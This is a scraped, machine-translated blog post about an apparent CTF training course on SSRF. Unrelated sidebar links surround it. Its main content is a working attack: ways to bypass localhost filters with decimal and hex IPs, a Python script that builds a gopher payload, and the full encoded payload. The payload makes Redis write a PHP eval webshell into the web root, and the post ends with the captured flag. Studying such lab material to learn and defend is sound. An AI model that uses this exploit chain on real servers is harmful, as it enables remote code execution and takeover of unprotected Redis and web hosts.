当前位置:网站首页>No.0 training platform course-2. SSRF Foundation
No.0 training platform course-2. SSRF Foundation
2022-07-27 07:17:00 【Big white】
Loophole principle :


Protocol utilization
• File agreement
• Local file transfer protocol
• Arbitrary file reading
• Dict agreement
• Dictionary server protocol
• operation Redis
• Gopher agreement
• Distributed file collection and acquisition network protocol .
• Support multiple lines
• operation Redis、Memcached、fastcgi、mysql etc. 


Input :
Dict://127.0.0.1:6379/info
Local IP The address is filtered :
There are many ways to bypass ,1、 hold IP Address converted to 10 Base number 、16 Base number 
Input :
dict://2130706433:6379/info
dict://0x7F000001:6379/info

Python Code generation gopher Protocol message writing webshell
#/usr/bin/python
import urllib
protocol="gopher://"
# redis Of the host server IP,10 Base number IP:127.0.0.1
ip="2130706433"
port="6379"
# php Code ,POST Mode submission 、GET Mode submission
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="shell.php"
# web Service directory
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

adopt gopher Agreement to local 127.0.0.1 Of web Catalog /var/www/html Next write a sentence, Trojan horse webshell:
gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
Connection target webshell
Found written shell.php and flag
Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91
边栏推荐
- Pytorch model
- 基于SSM医院预约管理系统
- Interpretation of deepsort source code (VII)
- (posted) comparison of Eureka, consumer and Nacos 1
- OpenGL development with QT (I) drawing plane graphics
- Es compares the data difference between the two indexes
- Jest single test style problem [identity obj proxy] NPM package
- Interpretation of deepsort source code (V)
- The qualities that a technical manager should have (guess)
- Jmeter:接口自动化测试-BeanShell对数据库数据和返回数据比较
猜你喜欢

(posted) comparison of Eureka, consumer and Nacos 1

零号培训平台课程-2、SSRF基础

Pytorch notes: td3

Drools(5):Drools基础语法(3)

一款开源 OA 办公自动化系统

Consideration on how the covariance of Kalman filter affects the tracking effect of deepsort

ESP8266(ESP-12F) 第三方库使用 -- SparkFun_APDS9960 (手势识别)

The possibility of metauniverse from the perspective of technical principles: how Omniverse "built" Mars

基于SSM音乐网站管理系统

Leetcode series (I): buying and selling stocks
随机推荐
12. Integer to Roman整数转罗马数字
Quartus: an error is reported when adding a.V file to someone else's project
Oracle数据库问题
Digital image processing - Chapter 6 color image processing
C#时间相关操作
Codeworks round 809 (Div. 2) (6/6) (Kruskal reconstruction tree)
String类的用法
Neural network parameter initialization
PHP defines the array using commas,
Golang controls the number of goroutines and obtains processing results
pytorch笔记:TD3
Leetcode series (I): buying and selling stocks
Instruction set x digital technology accelerates the digital transformation of government and enterprises, and builds Unicorn enterprise alliance in DT field
py2exe qt界面风格变成了win98解决方案
VIM editor deletes all file contents
MySQL2
【Latex格式】双栏双图左右并排有小标题、上下并列有小标题
Interpretation of deepsort source code (IV)
美联储SR 11-7:模型风险管理指南(Guidance on Model Risk Management)-万字收藏
Interpretation of deepsort source code (I)